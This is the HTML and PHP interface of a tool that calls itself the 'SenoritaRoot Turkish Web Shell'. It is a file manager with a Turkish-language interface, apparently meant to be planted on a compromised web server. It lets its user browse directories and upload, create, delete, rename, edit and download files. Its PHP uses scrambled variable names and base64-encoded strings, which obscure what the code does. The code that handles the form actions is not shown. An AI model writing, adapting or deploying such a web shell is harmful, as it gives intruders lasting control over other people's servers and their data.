<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>SenoritaRoot</title>
    <!-- Tailwind CSS -->
    <link href="https://cdn.jsdelivr.net/npm/tailwindcss@2.2.19/dist/tailwind.min.css" rel="stylesheet">
    <!-- Minecraft Font -->
    <link href="https://fonts.cdnfonts.com/css/minecraftia" rel="stylesheet">
    <!-- Material Icons -->
    <link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet">
    <style>
        body {
            background: #1e1e2f; /* Dark background */
            color: #e0e0e0;
            font-family: 'Minecraftia', sans-serif;
        }
        .file-icon {
            color: #4caf50; /* Green for files */
        }
        .dir-icon {
            color: #ffcc00; /* Yellow for directories */
        }
.minecraft-button {
    background: #4caf50; /* Green */
    border: 2px solid #000;
    color: #fff;
    padding: 8px 16px;
    font-family: 'Minecraftia', sans-serif;
    cursor: pointer;
    transition: background 0.3s ease;
    border-radius: 4px;
    width: 120px; /* Buton genişliği */
    height: 40px; /* Buton yüksekliği */
    display: flex;
    align-items: center;
    justify-content: center;
    text-align: center;
}
.minecraft-button.delete {
    background: #f44336; /* Red for delete button */
}
.minecraft-button.delete:hover {
    background: #e53935; /* Darker red on hover */
}
.minecraft-button.edit {
    background: #9c27b0; /* Purple for edit button */
}
.minecraft-button.edit:hover {
    background: #8e24aa; /* Darker purple on hover */
}
.minecraft-button.rename {
    background: #ff9800; /* Orange for rename button */
}
.minecraft-button.rename:hover {
    background: #fb8c00; /* Darker orange on hover */
}
.minecraft-button.download {
    background: #2196f3; /* Blue for download button */
}
.minecraft-button.download:hover {
    background: #1e88e5; /* Darker blue on hover */
}
        .minecraft-input {
            background: #2c2c3a; /* Darker input background */
            border: 2px solid #000;
            color: #fff;
            padding: 8px;
            font-family: 'Minecraftia', sans-serif;
            border-radius: 4px;
        }
        .minecraft-table {
            background: #2c2c3a; /* Darker table background */
            border-collapse: collapse;
            width: 100%;
            border-radius: 8px;
            overflow: hidden;
        }
        .minecraft-table th, .minecraft-table td {
            border: 2px solid #000;
            padding: 12px;
            text-align: left;
        }
        .minecraft-table th {
            background: #1e1e2f; /* Darker header background */
            color: #ffcc00; /* Yellow for headers */
        }
        .minecraft-table tr:hover {
            background: #3a3a4a; /* Hover effect for rows */
        }
        .breadcrumb {
            background: #2c2c3a;
            padding: 8px;
            border-radius: 4px;
        }
        .breadcrumb a {
            color: #2196f3;
            text-decoration: none;
        }
        .breadcrumb a:hover {
            text-decoration: underline;
        }
        .edit-container {
            background: #2c2c3a;
            padding: 16px;
            border-radius: 8px;
            margin-top: 16px;
        }
        #editContainer {
            display: none; /* Başlangıçta gizle */
        }
    </style>
</head>
<body class="p-8">
    <div class="max-w-7xl mx-auto">
        <!-- Başlık -->
<h1 class="text-4xl font-bold mb-6 text-white flex items-center">
    <img src="https://i.hizliresim.com/aqn0nps.png" alt="Logo" class="w-20 h-20 mr-2">
    SenoritaRoot Turkish Web Shell
</h1>

        <!-- Breadcrumb -->
        <div class="breadcrumb mb-6">
            <strong class="text-gray-400">Bulunduğun Dizin:</strong>
            <?php $shocfxxf18=explode(DIRECTORY_SEPARATOR,$dptbnzum1);?>
            <?php foreach($shocfxxf18 as $risxodym19=>$bziwqgvo1a):?>
                <?php $dryiasvm7=implode(DIRECTORY_SEPARATOR,array_slice($shocfxxf18,0,$risxodym19+1));?>
                <a href="?dir=<?php echo urlencode($dryiasvm7);?>" class="text-blue-400 hover:underline">
                    <?php echo htmlspecialchars($bziwqgvo1a);?>
                </a>
                <?php if($risxodym19<count($shocfxxf18)-1):?> / <?php endif;?>
            <?php endforeach;?>
        </div>

        <!-- Form Container -->
        <div class="grid grid-cols-1 md:grid-cols-3 gap-4 mb-6">
            <!-- File Upload Form -->
            <form method="POST" enctype="multipart/form-data" class="bg-gray-800 p-4 rounded-lg">
                <label class="block text-gray-400 mb-2">Dosya Yükle:</label>
                <input type="file" name="uploadedFile" class="minecraft-input w-full mb-2">
                <button type="submit" class="minecraft-button w-full">Yükle</button>
            </form>

            <!-- New Directory Form -->
            <form method="POST" class="bg-gray-800 p-4 rounded-lg">
                <label class="block text-gray-400 mb-2">Yeni Dizin Oluştur:</label>
                <input type="text" name="newDirName" class="minecraft-input w-full mb-2" required>
                <button type="submit" class="minecraft-button w-full">Oluştur</button>
            </form>

            <!-- New File Form -->
            <form method="POST" class="bg-gray-800 p-4 rounded-lg">
                <label class="block text-gray-400 mb-2">Yeni Dosya Oluştur:</label>
                <input type="text" name="newFileName" class="minecraft-input w-full mb-2" required>
                <button type="submit" class="minecraft-button w-full">Oluştur</button>
            </form>
        </div>

        <!-- File List Table -->
        <table class="minecraft-table">
            <thead>
                <tr>
                    <th>Ad</th>
                    <th>Tür</th>
                    <th>Boyut</th>
                    <th>İzinler</th>
                    <th>Son Değişiklik</th>
                    <th>İşlem</th>
                </tr>
            </thead>
            <tbody>
                <?php foreach($xmfkoktv5 as $dwchnqaz1b):?>
                    <tr>
                        <td>
                            <?php if($dwchnqaz1b[base64_decode('dHlwZQ==')]===base64_decode('ZGly')):?>
                                <a href="?dir=<?php echo urlencode($dptbnzum1.DIRECTORY_SEPARATOR.$dwchnqaz1b[base64_decode('bmFtZQ==')]);?>" class="dir-icon flex items-center">
                                    <span class="material-icons text-yellow-400 mr-2">folder</span>
                                    <?php echo htmlspecialchars($dwchnqaz1b[base64_decode('bmFtZQ==')]);?>
                                </a>
                            <?php else:?>
                                <span class="file-icon flex items-center">
                                    <span class="material-icons text-green-400 mr-2">insert_drive_file</span>
                                    <?php echo htmlspecialchars($dwchnqaz1b[base64_decode('bmFtZQ==')]);?>
                                </span>
                            <?php endif;?>
                        </td>
                        <td><?php echo $dwchnqaz1b[base64_decode('dHlwZQ==')]===base64_decode('ZGly')?base64_decode('S2xhc8O2cg=='):base64_decode('RG9zeWE=');?></td>
                        <td><?php echo $dwchnqaz1b[base64_decode('dHlwZQ==')]===base64_decode('ZmlsZQ==')?number_format($dwchnqaz1b[base64_decode('c2l6ZQ==')]/1024,2).base64_decode('IEtC'):base64_decode('LQ==');?></td>
                        <td><?php echo $dwchnqaz1b[base64_decode('cGVybWlzc2lvbnM=')];?></td>
                        <td><?php echo $dwchnqaz1b[base64_decode('bGFzdF9tb2RpZmllZA==')];?></td>
<td class="flex gap-2">
    <form method="POST" class="inline">
        <input type="hidden" name="deleteFile" value="<?php echo htmlspecialchars($dwchnqaz1b[base64_decode('bmFtZQ==')]);?>">
        <button type="submit" class="minecraft-button delete">Sil</button>
    </form>
    <button onclick="renameItem('<?php echo htmlspecialchars($dwchnqaz1b[base64_decode('bmFtZQ==')]);?>')" class="minecraft-button rename">Adlandır</button>
    <button onclick="editFile('<?php echo htmlspecialchars($dwchnqaz1b[base64_decode('bmFtZQ==')]);?>')" class="minecraft-button edit">Düzenle</button>
    <a href="?download=<?php echo urlencode($dwchnqaz1b[base64_decode('bmFtZQ==')]);?>" class="inline">
        <button class="minecraft-button download">İndir</button>
    </a>
</td>
                    </tr>
                <?php endforeach;?>
            </tbody>
        </table>
    </div>

    <!-- File Edit Container -->
    <div id="editContainer" class="edit-container">
        <form id="editForm">
            <textarea id="fileContent" class="minecraft-input w-full h-48 p-2"></textarea>
            <button type="submit" class="minecraft-button mt-4">Kaydet</button>
        </form>
    </div>

    <script>
        function renameItem(oldName) {
            const newName = prompt("Yeni ad girin:", oldName);
            if (newName && newName !== oldName) {
                const form = document.createElement('form');
                form.method = 'POST';
                form.innerHTML = 
                    `<input type="hidden" name="renameOldName" value="${oldName}">` +
                    `<input type="hidden" name="renameNewName" value="${newName}">`;
                document.body.appendChild(form);
                form.submit();
            }
        }

        function editFile(fileName) {
            const editContainer = document.getElementById("editContainer");
            editContainer.style.display = "block";  // Düzenleme alanını göster
            const textArea = document.getElementById("fileContent");
            fetch(fileName)
                .then(response => response.text())
                .then(content => {
                    textArea.value = content;
                    const form = document.getElementById("editForm");
                    form.onsubmit = function(e) {
                        e.preventDefault();
                        const newContent = textArea.value;
                        const formData = new FormData();
                        formData.append("editFile", fileName);
                        formData.append("newContent", newContent);
                        fetch("", {
                            method: "POST",
                            body: formData
                        }).then(response => {
                            if (response.ok) {
                                alert("Dosya başarıyla güncellendi!");
                            } else {
                                alert("Dosya güncellenemedi!");
                            }
                        });
                    };
                });
        }
    </script>
</body>
</html>